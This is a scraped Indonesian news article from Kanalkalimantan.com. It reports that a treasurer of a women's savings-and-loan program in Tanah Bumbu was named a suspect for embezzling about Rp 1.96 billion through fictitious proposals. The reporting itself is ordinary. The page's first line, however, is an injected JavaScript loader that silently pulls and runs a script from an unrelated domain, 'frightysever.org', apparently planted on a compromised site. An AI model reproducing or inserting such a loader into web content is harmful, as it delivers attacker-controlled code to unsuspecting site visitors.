(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Tilep Dana Simpan Pinjam Perempuan Sebesar Rp 1,9 Miliar, Seorang Bendahara Dijadikan Tersangka di Tanbu


KANALKAIMANTAN.COM, BATULICIN – Seorang bendahara perkumpulan Unit Pengelolaan Kegiatan (UPK) Bintang Mandiri ditetapkan sebagai tersangka oleh Kejaksaan Negeri Tanah Bumbu.

Tersangka diduga melakukan tindak pidana korupsi pada kegiatan Dana Amanah Pemberdayaan Masyarakat (DAPM) di Kecamatan Karang Bintang, Kabupaten Tanah Bumbu pada tahun 2018-2021.

“Setelah kami kumpulkan surat dan bukti yang sah, telah mengerucut terhadap saudari atas nama Ni Kade Isnayanti yang kami tetapkan sebagai tersangka,” ungkap Kepala Kejari Tanbu I Wayan Wiradarma melalui Kasi Intelijen Rizki Purbo Nugroho, Selasa (25/10/2022) siang.

Ia menjelaskan, dalam kurun waktu Maret 2018 hingga Juni 2021, tersangka yang merupakan Bendahara UPK DAPM Bintang Mandiri, mengambil dana nasabah Simpan Pinjam Perempuan (SPP) dari 28 kelompok SPP dan memanipulasi data proposal.

 

Baca juga : Forum Anak Daerah Gelar Festival Anak Daerah Tanbu 2022

“Tersangka dengan sengaja membuat proposal fiktif untuk pencairan dana DAPM yang seharusnya disalurkan kepada kelompok penerima manfaat, tetapi disalahgunakan untuk kepentingan pribadi tersangka,” sambung Kasi Intelijen.

Dari dana yang diselewengkan, tersangka membeli sebuah mobil Toyota Sienta G warna putih dengan No Pol DA 1214 ZJ, sebuah motor Yamaha Nmax Tahun 2018 dengan No Pol DA 4908 ZD, segel lahan kebun karet seluas 3/4 hektare dan sertifikat lahan kebun sawit seluas 3/4 hektare di Blok A1 Desa Manunggal.

Perbuatan tersangka dalam membuat proposal fiktif dan penyelewengan dana telah dilakukan berulang selama 41 kali semenjak tahun 2018, yang berdampak merugikan negara dengan estimasi kerugian sebesar Rp 1.957.878.000.

 

Baca juga  : Panen Raya di Desa Sumber Baru Tiga Varietas Padi Unggulan, Begini Hasilnya

Tersangka terancam dijerat tindak pidana sebagaimana Pasal 2 ayat (1) Jo. Pasal 18 Undang-Undang Nomor 31 tahun 1999 tentang pemberantasan tindak pidana Korupsi Jo. Undang-Undang Nomor 20 Tahun 2001 tentang perubahan atas Undang-Undang nomor 31 Tahun 1999 tentang tindak pidana korupsi Jo. Pasal 64 Ayat (1) KUHP.

“Untuk selanjutnya, terhadap tersangka dikenakan pasal 20 KUHAP dengan dilakukan penahanan di Rutan Polres Tanah Bumbu selama 20 hari kedepan,” tutupnya. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.